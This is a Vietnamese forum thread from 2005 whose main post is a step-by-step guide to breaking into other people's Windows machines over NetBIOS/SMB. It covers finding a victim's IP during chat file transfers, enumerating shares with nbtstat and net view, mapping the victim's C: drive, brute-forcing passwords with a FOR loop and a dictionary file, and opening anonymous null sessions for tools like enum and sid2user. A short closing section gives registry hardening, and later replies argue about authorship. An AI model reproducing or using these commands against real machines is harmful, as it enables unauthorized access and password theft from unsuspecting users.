NetBIOS hacking và cách phòng chống

Phuongdong
22-06-05, 19:28
Ngày nay việc nối mạng đã phổ biến nhưng có thể trong khi 4C đang lướt trên mạng thì ở đâu đó có một vài chiến sĩ đã âm thầm vào máy của 4C đọc tài liệu, xem nhật ký, sửa hợp đồng hay bản CV của 4C. Anh viết bài này để chia sẻ một ít kinh nghiệm bảo vệ máy tính của mình

NetBIOS là viết tắt của chữ Network Basic Input Output System. Đầu tiên nó được IBM và Sytek xây dựng để truy nhập vào các tài nguyên được chia sẻ trong mạng LAN ( Local Area Network ). Tài nguyên trong mạng có thể là ổ đĩa, máy in , máy scan ....
Nếu 4C đã từng làm việc trong các mạng LAN và sử dụng hệ điều hành Windows ( windows9.x , me, 2000, XP .... ) thì 4C đã từng bấm đúp chuột vào biểu tượng Network Neghborhood ( hay My Network Places ) để truy nhập tới các máy tính khác trong mạng => đó chính là 4C đã sử dụng một số lệnh của NetBIOS trong môi trường Winđows.
Mỗi mỗi service trong máy đều làm việc trên một cổng nào đó, NetBIOS cũng được gán cho một số cổng tùy theo 4C đang sử dụng HDH nào.
TCP 135 RPC/DCE Endpoint mapper
UDP 137 NetBIOS Name Service
UDP 138 NetBIOS Datagram Service
TCP 139 NetBIOS Sesion Service ( SMB/CIFS over NetBIOS
TCP/UDP 445 Direct Host
( SMB - Server Mesage Block
CIFS - Common Internet File System )
Mặc định thì Windows 9.x ( 95,98,98se ), NT4 và Windows2000 sẽ lắng nghe trên cổng 139, nhưng Windows 9.x không lắng nghe trên cổng TCP/UDP 135 ( => chính vì điều này mà đợt trước khi phát hiện ra lỗi RPC , Virus Blaster không gây ảnh hưởng gì cho các máy tính đang chạy Windows 9.x ) Windows 2000 và XP cũng lắng nghe trên các cổng TCP/UDP 445
=> Dựa vào các hiểu biết này và các lệnh của Windows ( các lệnh này thường nằm trong C:\Windows\system32 - hoặc WinNT \ system32 ) người ta có thể truy nhập vào các máy tinh khác trong mạng.

Tìm kiếm IP của victim

Nhắc lại một tý về IP : IP là một số xác định được gán cho mỗi máy tính trong một mạng nào đó.
IP được biểu diễn là một số 32 bit, các bit đựơc chia thành 4 phần mỗi phần 8 bit ( 1 byte ). Có 3 cách để biểu diễn cho một địa chỉ IP
Dạng thập phân ( dạng hay dùng nhất ) Ví dụ : 130.57.30.56
Dạng nhị phân : 10000010.00111001.00011110.00111000
Dạng Hexadecimal 82 39 1E 38
Trong mỗi địa chỉ IP bao giờ cũng có hai phần là địa chỉ mạng ( Networrk Address ) và địa chỉ máy ( Node Address ). Các máy tính trong một mạng bao giờ cũng có cùng một địa chỉ mạng
( Các bạn có thể tìm thấy bài viết chi tiết về địa chỉ IP trên HVA portal )
Để biết địa chỉ IP của mình bạn có thể dùng lệnh trong windows để xem :

1- Nếu 4C đang dùng Windows 9.x :
Bấm vào Start \ run sau đó đánh vào lệnh command rồi bấm OK ( Để chạy ra màn hình DOS - DOS shell )
Tại dấu nhắc của lệnh DOS đánh vào lệnh IPCONFIG ( hoặc IPCONFIG / ALL )
Nếu bạn dùng Win98 có thể sử dụng Start \run rồi đánh vào lệnh WINIPCFG cũng cho kết quả tương tự

2- Nếu 4C dùng Win2000, XP ...
Bấm vào Start \ run sau đó đánh vào lệnh cmd rồi bấm OK ( Để chạy ra màn hình DOS - DOS shell )
Tại dấu nhắc của lệnh DOS đánh vào lệnh IPCONFIG ( hoặc IPCONFIG / ALL )
Bạn chú ý nhìn dòng IP Address rồi nhìn sang bên phải thấy một số có dạng xxxx.xxxx.xxx.xxx <= đó chính là địa chỉ IP của 4C khi 4C vào mạng.

Công việc tìm kiếm IP và xem nó có mở cổng không của victim thường mất rất nhiều thời gian - Người ta có thể dùng một số Tool để thực hiện việc tìm kiếm cho nhanh ( và đỡ tốn tiền Net ) như NetScanPro2000, hay Esential NetTools ( ET3 ), IP Tool ...

Nếu 4C đang sử dụng ICQ để chát với victim, 4C có thể sử dụng lệnh netstat -n ( lệnh này sẽ cho ta biết các kết nối đựơc thiết lập giữa máy của ta và bên ngoài và qua các cổng nào ) để biết IP của victim.
Ví dụ sau khi chạy lệnh netstat -n ta sẽ nhận đựơc bảng sau :
Active Connections
Proto Local Address Foreign Address State
TCP 192.168.0.1:3537 203.195.136.156:2869 Established
........................................................................................................

4C chú ý nhìn ở dưới dòng chữ Foreign Address số 203.195.136.156 <= Đó là địa chỉ IP của victim, còn số 2869 chính là cổng kết nối
Chữ Established => báo cho 4C biết một kết nối đã được thiết lập giữa máy tính của 4C và victim.
Còn nếu 4C sử dụng MSN hay YH, nếu sử dụng lệnh netstat - n có thể 4C không nhìn thấy IP của victim mà có thể là địa chỉ của Server của MSN hay Yahoo.
Để xác định chính xác 4C có thể sử dụng Send File của Yahoo để gửi một file tới victim. Trước khi Send File, sử dụng lệnh netstat -n để xác định các kết nối đã có trong khi đang Send file 4C lại sử dụng lệnh netstat -n => sau đó tìm địa chỉ IP nào mà mới được thiết lập => đó chình là dịa chỉ IP của Victim ( vì khi Send file nó sẽ thiết lập một kết nối trực tiếp giữa máy của 4C và victim )
Sau khi đã có địa chỉ IP của victim, 4C sử dụng lênh nbtstat -a ipAddress ( lệnh này dùng để xác đinh một số thông tin trên máy victim ... )
Ví dụ : C:> nbtstat - a 203.210.136.23 ( <= Đây là địa chỉ mô phỏng thôi đấy nhé - đừng thử :icon_bigg )
4C có thể nhận được các dòng như sau
NetBIOS remote Machine Name Table
Name Type Status
may1 <00> Unique Registered
netde<00> Group Registered
may1 <03> Unique Registered
may1 <20> Unique Registered
...............................
MAC address 00-32-04-14-23-E6

Ở đây 4C chú ý đến số <20> => Nếu thấy số này có nghĩa là máy victim đã bật chế độ chia sẻ File và máy in ( File And Printer Sharing )
Tiếp theo 4C sử dụng lệnh net view \\ipaddress ( lệnh này dùng để xem máy vic tim chia sẻ những cái gì để còn .... )
Ví dụ : C:> net view \\203.210.136.23
4C có thể thấy các dòng tương tự như ở dưới đây :
Shared resource at \\203.210.136.23
Share name Type User As Comment
C Disk
D Disk
IPC$ Disk
........................................................................
The command complete succesfully

=> Đến đây 4C vào tìm file LMHost - nếu không có thì tạo ra ( Nếu 4C sử dụng window98 thì nó nằm ngay trong thư mục windows, nếu là XP thì trong thư mục Windows\System32\Drivers \etc còn Win2000 thì nằm trong WinNT\System32\Drivers \etc )

Lạm bàn về LMHost : Ngày trước tên máy và địa chỉ IP được lưu vào trong đó - Nó được dùng để phân giải tên máy và địa chỉ IP ( Name - to - Address ). File này được cập nhật và quản lý bởi SRI - NIC ( Standford Research Institute Network Information Center ), vài tuần một lần tổ chức này lại cập nhật lại nội dung File này. Ngày trước các Admin của mạng thường Download về Server của mình. Dần dần số lượng của các trang Web trên Net ngày càng nhiều => cách sử dụng này trở nên thiếu hiệu quả và mất thời gian => DNS ra đời ...

Sau đó bạn thêm vào trong File này theo cú pháp sau :
ipAddressvictim tênmáy #PRE

Ví dụ ở đây 4C thêm vào dòng : 203.210.136.23 MAY1 #PRE trong File LMHost
rồi chạy lệnh nbtstat -R để nạp lại table cache
Bây giờ 4C có thể tạo thêm một ổ trên máy tính của mình và kết nối tới ở hay thư mục được Share trên máy tính của victim bằng cách sử dụng lệnh Net use
Net use Tên ổ đĩa : \\ipAddressVictim\shareName
Ví dụ : Net use X: \\203.210.136.23\C
Nếu thấy dòng lệnh
The command was complete succesfully
Done, bấm đúp vào My Computer và xem thử xem có gì mới trong máy tính của 4C không.
Để tránh nhầm lẫn khi ánh xạ ổ đĩa 4C có thể sử dụng ký hiệu * thay cho tên ổ đĩa
net use * \\203.210.136.23\C

Thế nhưng nhiều khi cuộc đời không đẹp như mơ vì khi thực hiện đường truyền của 4C chậm hay vì máy victim đặt pass truy nhập. ...
Nếu máy victim sử dụng Windows95,98,98SE hay Win me 4C có thể tạm dùng một phần mềm có tên PQWAK - chuyên dùng dò pass
Thế thì còn máy tính dùng 2000 hay XP ... mà đặt pass và user thì làm thế nào => ta có thể xây dựng một từ điển để dò và sử dụng lệnh For của DOS để thực hiện
Ví dụ anh sẽ tạo ra một File có tên là DoPass.txt và có định dạng sau :
password username
password Administrator
"" Administrator
admin Administrator
............................................................
Và bấy giờ 4C có thể sử dụng lệnh For
FOR /F "tokens=1,2" %i in (DoPass.txt) DO net use x: \\IpAddressvictim\ShareName %* /user:IpAddressvictim\%i

trong đó:
%i là giá trị user name
%* là giá trị passwd sau khi được tách từ tokens
x: là driver được mapped lên máy của 4C (nếu chạy net use thành công)

( Đoạn này có 2 điểm cần chú ý:

1. FOR
2. net use

- "for" là một vòng lặp trong đó nó đọc xuyên qua hồ sơ DoPass.txt và chỉ xử dụng token cần thiết. Xem thêm FOR /? trên DOS prompt của Windows để hiểu thêm FOR làm việc thế nào.

- "net use" là một trong những lệnh trong cụm "net" của Windows. Xem thêm net use /? trên DOS prompt của Windows để hiểu thêm.)
Đây là đây là một dạng... mò mà thuật ngữ chuyên môn còn có cái tên là Brute Force. Ngày nay đã có nhiều phần mêm làm hộ tính năng này như Essential NetTools vv..vv...
Phuongdong
22-06-05, 19:35
Trước khi tiếp tục 4C cần tìm hiểu thêm một số thông tin về dòng Window2000 ( 2000 Pro, 2000 family và 2000 Advandce server ) và Windows XP. Mặc định sau khi cài đặt xong các hệ điều hành này thì tất cả các ổ đĩa của và một số thư mục của chúng sẽ được thiết lập ở chế độ Share ẩn.

Thế Sharre ẩn là gì ? Bình thường nếu 4C đã làm việc trong môi trường mạng thì việc chia sẻ các ổ đĩa hay thư mục bằng cách bấm phím phải chuột trên ổ đĩa hay thư mục và chọn Sharing => Ổ đĩa hay thư mục đó sẽ xuất hiện trên mạng. Nhưng nếu bây giờ ta thêm vào sau tên của ổ đĩa hay thư mục chia sẻ ký hiệu $ thì việc chia sẻ vẫn xảy ra nhưng không hiện lên trên mạng và chỉ có người nào biết đường dẫn chính xác mới có thể sử dụng đựơc các tài nguyên này

Để xem được các thông tin về việc chia sẻ trên máy tính của mình 4C có thể vào Start \ Program \ Administrator Tools \ Computer management sau đó chọn vào mục Shared Folders để kiểm tra lại máy của mình ( Nếu trong Program chưa có mục Administrator Tools bạn bấm phím phải chuột trên nút Start chọn properties sau đó chọn mục Display Administrator Tools )
Ví dụ 4C có thể nhìn thấy các thông tin sau :
Sharename Resource Remark
------------------------------------------------------
ADMIN$ C:\WINNT Remote Admin
C$ C:\ Default Share for Internal Use
D$ D:\ Default Share for Internal Use
E$ E:\ Default Share for Internal Use
print$ C:\WINNT\SYSTEM\SPOOL
IPC$ Remote IPC
Nếu 4C đang dùng XP thì ADMIN$ sẽ là C:\WINDOWS ( Thư mục mặc định khi cài XP ). ....

4C có thể cắt tất cả các chế độ Share của các ổ trên máy tính nhưng riêng IPC$ thì không thể bỏ nó đi đựơc.

Thế còn thông tin về user và pass được lưu ở đâu, trên các hệ thống NT và windows2000 và XP chạy ở nhà ( Stand - alone ) các thông tin này được lưu ở trong File %systemroot % \ system32 \ config \sam
Với %system root % - chính là thư mục mà bạn cài đặt windows ( có thể là windows, winNT ...etc )
Và File đó gọi là File SAM - Security Accounts Manager. Các thông tin lưu trong này được mã hoá theo cái gọi là one- way function ( OWF) hoặc giải thuật Hash và kết quả là giá trị mà nó lưu giữ không thể đựơc giải mã ( decrypted)
Trong Windows2000 Domain Controller các thông tin này đựơc lưu trong Active Directory ( nếu khi cài đặt để ở chế độ mặc đinh thì nó nằmg trong %systemroot \ ntds \ntds.dit - File này vào khoảng 10Mb => Việc Down về để giải mã cũng như việc giả mã là không thể => thường nếu định dò pass của DC thì tốt nhất là" chuyển " )

SID
Khi Windows2000 hay Windows2000 Domain được cài đặt nó sẽ sinh ra một số ngẫu nhiên cho mỗi User - Đây là một số 48 Bit được gọi là Security Indentifier ( SID )
Một số SID có thể có dạng như sau :
S-1-5-21-1507001333-1204550764-1011284298-500
Một SID bao giờ cũng bắt đầu với chữ S và các thành phần của nó được ngăn cách nhau bởi dấu trừ ( Hyphens ). Số đầu tiên là số duyệt ( Revision number ) - ỏ ví dụ trên nó là 1
Số thứ hai là là nói về HDH - ví dụ số 5 luôn luôn là của Windows2000. Tiếp theo là 4 nhóm chữ sô và cuối cùng là RID ( relative Identìier ). Chà 4C quan tâm đến RID một tý nào
Nếu một SID mà có RID là 500 => Đó là Amin của máy cục bộ
RID là 501 => guest
Nếu ở trong Domain thì RID luôn bắt đầu từ 1000 khi tạo ra User đầu tiên => khi ta nhìn thấy RID =1015 => hệ thống có 14 User đựoc tao ra trong hệ thống.
Phuongdong
22-06-05, 19:41
Hầu hết các User đều cho rằng khi Disable netBIOS over TCP/IP ( Bấm vào My Network Places chọn Local Area Connetion, chọn TCP/ IP sau đó bấm vào propperties chọn Advandce, chọn WINS và bấm vào Disable NetBIOS over TCP / IP) là đã chặn đựơc cách thâm nhập vào máy qua NetBIOS
Thực ra việc thiết lập này chỉ chặn trên cổng 139. Khác với NT4, từ Windows2000 trở lên còn chạy một SMB lắng nghe trên cổng 445. Cổng này vẫn còn Active cho dù NetBIOS over TCP / IP đã đựoc Disable..
Phần Windows SMB cho Cllient từ sau version NT4 SP 6a sẽ tự động chuyển lên cổng 445 nếu như cố gắng kết nối trên cổng 139 =>
Ta có thể thiết lập một kết nối gọi là " null sesion" tới máy của victim
net use \\192,168.203.33\IPC$ "" /u:"" <= thiết lập một kết nối với anonymuos user (/u) và pass rỗng (""). Nếu thành công 4C cũng có thể sử dụng Net view để xem các tài nguyên được chia sẻ trên máy victim ....

Nếu thiết lập được một Null sesion tới máy victim ta có thể sử dụng một số Tool để truy nhập vào máy của victim :
1 - enum
-U is get userlist
-M is get machine list
-N is get namelist dump (different from -U|-M)
-S is get sharelist
-P is get password policy information
-G is get group and member list
-L is get LSA policy information
-D is dictionary crack, needs -u and -f
-d is be detailed, applies to -U and -S
-c is don't cancel sessions
-u is specify username to use (default "")
-p is specify password to use (default "")
-f is specify dictfile to use (wants -D)
ta có thể sử dựng lệnh
C:\> enum -U -d -P -L -c địa_chỉ_IP_của victim

2- DumpSec (DumpACL)
Vì DumpSec là giao diện đồ họa nên khá dễ sử dụng ( menu Report )

3- Sid2user và User2sid
User2sid.exe có thể nhận SID từ SAM (Security Accounts Manager) trên máy local hay trên remote machine
Sid2user.exe có thể sử dụng để thu thập các acc của user
C:\>user2sid \địa_chỉ_IP_của_victim "domain user"
kết quả nhận đựơc

S-1-5-21-1234567-890123456-1234567890-513
Number of subauthorities is ....
Domain is ....
Length of SID in memory is ....byte
Type of SID is ....
Sau đó sử dụng sid2user
C:\> sid2user \\địa_chỉ_victim 5 21 1234567 890123456 1234567890 500
....
4- UserInfo
userinfo [-b] [-estwn] [-D domain-name | -S hostname] [user-name...]
userinfo (-a|u) [-e] [-D domain-name | -S hostname] [-f fieldname:value ...] user-name...
userinfo -d [-e] [-D domain-name | -S hostname] user-name...

Ngoài ra còn có một số Tool khác nữa như UserDump, GetAcc, walksam.
Nhưng tất cả các Tools trên đây đều yêu cầu có được một kết nối Null session tới máy của Victim.
Phuongdong
22-06-05, 19:48
Để chống lại cách tấn công này 4C có thể can thiệp vào Registry :
Bấm và Start \ run đánh vào lệnh regedit rồi bấm OK - Tuy nhập đến

HKLM \ system \CurrentControlSet \ Control \ LSA \ RestrictAnonymousBấm đúp vào key RestrictAnonymous ở panel bên phải và nhập vào trong khung Value 2
RestrictAnonymous có 3 giá trị
0 Đây là gía trị mặc định của nó khi cài Winddows
1 Không cho phép tìm hiểu các thông tin của SAM
2 Không cho phép truy nhập

Để bỏ chế độ tự động Share đi 4C có thể vào mục
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanServer\Parameters
thiết lập
AutoShareServer = 0
AutoShareWks = 0

Thank for attention
VoiCòi.NET
23-06-05, 12:05
Thấy cái ICQ với netstat -n lại nhớ cái trò chat bằng YM, dụ khị gửi cho nó cái pix, trong lúc nó đang receiving thì ta run phát netstat -n thế là thấy IP, chết cbn rùi :D
chairuou
30-06-05, 16:36
lần sau chú phuongdong nên để credit của tài liệu cho nó tử tế :p
You_And_I
01-07-05, 00:26
Không thể phủ nhận thực tế là có nhiều bài viết được 1 số người mượn từ diễn đàn này sang diễn đàn khác. Nhưng tuy nhiên cũng không thể phủ nhận một số người lên diễn đàn chỉ với mục đích nhìn ngó tỏ ra ta đây cũng biết nhiều hiểu rộng.
Thiết nghĩ trước khi chỉ trích người khác "đạo văn" thì cũng nên biết rõ ai là tác giả thực sự của bài viết và nó có nguồn gốc từ đâu, không hiểu bác chairuou có biết rõ chăng?
Lúc đọc bài của bác Phuongdong, quả thực tôi cũng thấy bài viết này quen quen và quen cũng phải thôi vì tôi đã nhìn thấy nó từ diễn đàn hvaonline và tác giả cũng là ... bác Phuongdong.
http://thanhnienxame.net/hanoi/NetBIOS.GIF
http://thanhnienxame.net/hanoi/netbios2.GIF
http://www.hvaonline.net/forum/index.php?showtopic=19219&hl=netbios+hacking
Tìm kỹ hơn nữa có thể thấy trên diễn đàn
http://www.quantrimang.com/inc_contents.asp?Cat_ID=11&news_id=157
và tác giả không ai khác lại với cái nick Phuongdong. Quả thực tôi có biết bác Phuongdong trên hva, liệu bác chairuou có tham khảo ý kiến "tác giả" trước khi phát ngôn không nhỉ?
Hay chăng bác nên sang nốt diễn đàn hvaonline để "vạch mặt" kẻ "trộm bài" chăng? :icon_razz :icon_razz
Bùi Đức Lập
01-07-05, 00:32
Hơ hơ các chú giải thích làm chó gì, thiếu gì đứa đâm chọc lung tung, cứ đường ta ta đi, rượu với bia này có gì mà phải lăn tăn, anh đốt một phát là cháy tàn cốt.
chairuou
02-07-05, 19:27
Không thể phủ nhận thực tế là có nhiều bài viết được 1 số người mượn từ diễn đàn này sang diễn đàn khác. Nhưng tuy nhiên cũng không thể phủ nhận một số người lên diễn đàn chỉ với mục đích nhìn ngó tỏ ra ta đây cũng biết nhiều hiểu rộng.
Thiết nghĩ trước khi chỉ trích người khác "đạo văn" thì cũng nên biết rõ ai là tác giả thực sự của bài viết và nó có nguồn gốc từ đâu, không hiểu bác chairuou có biết rõ chăng?
Lúc đọc bài của bác Phuongdong, quả thực tôi cũng thấy bài viết này quen quen và quen cũng phải thôi vì tôi đã nhìn thấy nó từ diễn đàn hvaonline và tác giả cũng là ... bác Phuongdong.
.....
Hay chăng bác nên sang nốt diễn đàn hvaonline để "vạch mặt" kẻ "trộm bài" chăng? :icon_razz :icon_razz

:p cười đau cả bụng